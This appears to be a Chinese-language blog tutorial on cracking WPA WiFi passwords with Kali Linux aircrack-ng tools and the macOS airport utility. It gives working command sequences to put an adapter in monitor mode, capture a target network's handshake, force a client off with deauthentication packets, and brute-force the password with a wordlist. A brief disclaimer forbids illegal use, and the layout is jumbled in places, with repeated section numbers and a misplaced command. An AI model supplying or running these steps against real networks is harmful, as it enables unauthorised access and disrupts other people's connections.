两种WIFI破解的方法

https://space.bilibili.com/29903122

本文旨在提供一个思路，以提升对渗透测试的学习兴趣。请注意，禁止将此方法用于非法操作，否则后果自负。尽管如今已经是2021年，破解WiFi已经不再流行，但为了近源渗透的目的，我们将再次讨论一下这个话题。本文介绍了使用Kali、外置网卡和mac破解WiFi的方法。您可以通过以下链接查看视频教程：

1. 外置网卡版
2. 准备工作
   首先，您需要一张外置网卡，并在虚拟机中进行破解。所需设备包括：Kali Linux、外置网卡。将虚拟机设置为桥接模式，并将插入的外置网卡设置为ifconfig查看的接口。

airmon-ng start wlan0#提示要杀掉一些进程，根据提示进行即可airmon-ng check kill 
airmon-ng start wlan0

airodump-ng wlan0mon

airodump-ng -c 6 --bssid 88:25:93:60:C0:D9  -w A4-3062.4G wlan0mon（保存文件名称） -c 通道值 WiFi热点所对应的CH值(上图中可看到) --bssid 需要破解WiFi的MAC值 -w cap文件名 wlan0mon 启用混杂模式的网卡名

2. 开始攻击
   将wlan0网卡设置为混杂模式，开始抓包。首先，使用命令查看附近的WiFi热点。从中选择一个信号较好的WiFi热点作为目标（例如A4-306 2.4G）。使用airodump-ng对选定的WiFi热点进行cap监听和获取。

aireplay-ng -0 2 -c E8:4E:06:21:75:D7  -a 88:25:93:60:C0:D9 wlanmon  
-0 death模式2为发送次数-c 你所选择要断网操作的客户机MAC -a WiFi热点MAC

此时，您将看到有12个设备连接到该热点，选择一个名为75-D7的设备进行抓包（需要保持此命令行窗口一直开启）。使用aireplay-ng对选定的WiFi热点进行cap监听和获取（在另一个命令行窗口中启动）。如果一次抓包不成功，可以多试几次。在我尝试了三次之后，成功抓到了包。

#首先ls查看当前目录所产生的握手包 aircrack-ng -w rockyou.txt A4-3062.4G-02.cap-w代表字典 接着你的包名称

此时，可以停止监听。

3. 跑包
   我们将直接使用Kali自带的工具，在文件目录中解压（此处不进行演示）。然后，等待结果吧！但是，如果WiFi密码很复杂，基本上很难破解成功。这只是一个笔记，因为如今暴力破解WiFi密码非常困难，一旦密码复杂，基本上就无望了。

4. 2019年11月更新
   现在，使用Kali自带的aircrack似乎已经过时了。我在网上看到有更好的工具，可以利用GPU进行破解，具体名称我忘记了，您可以自行搜索。此外，很多人问我无线网卡的型号，我记得大约是30左右，不需要购买太高端的，一般的就可以。

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

最重要的是字典问题，当然还有一种破解方法是对PIN包进行检测，但这种方法只适用于较旧的路由器设备，现在的路由器基本上都可以防止PIN破解，所以在这里不再演示。

2. macOS版本方案
   mac自带了airport工具。

2.1 使用airport

airport -s

airport en0 sniff 1   # 1代表信道

aircrack-ng  airportSniffkZzYWr.cap

aircrack-ng -w dict.txt -b c0:61:18:11:d9:dc /tmp/airportSniffLbhZSp.cap

2.2 发现附近的WiFi

2.3 侦听数据
此时，WiFi图标会发生变化。一段时间后，手动结束侦听，以便捕获握手包。

2.4 分析流量
在分析流量中，您可以看到已经捕获到握手包的设备（例如4-401）。

2.5 使用aircrack进行破解

参考链接：https://blog.csdn.net/qq_39498701/article/details/104262468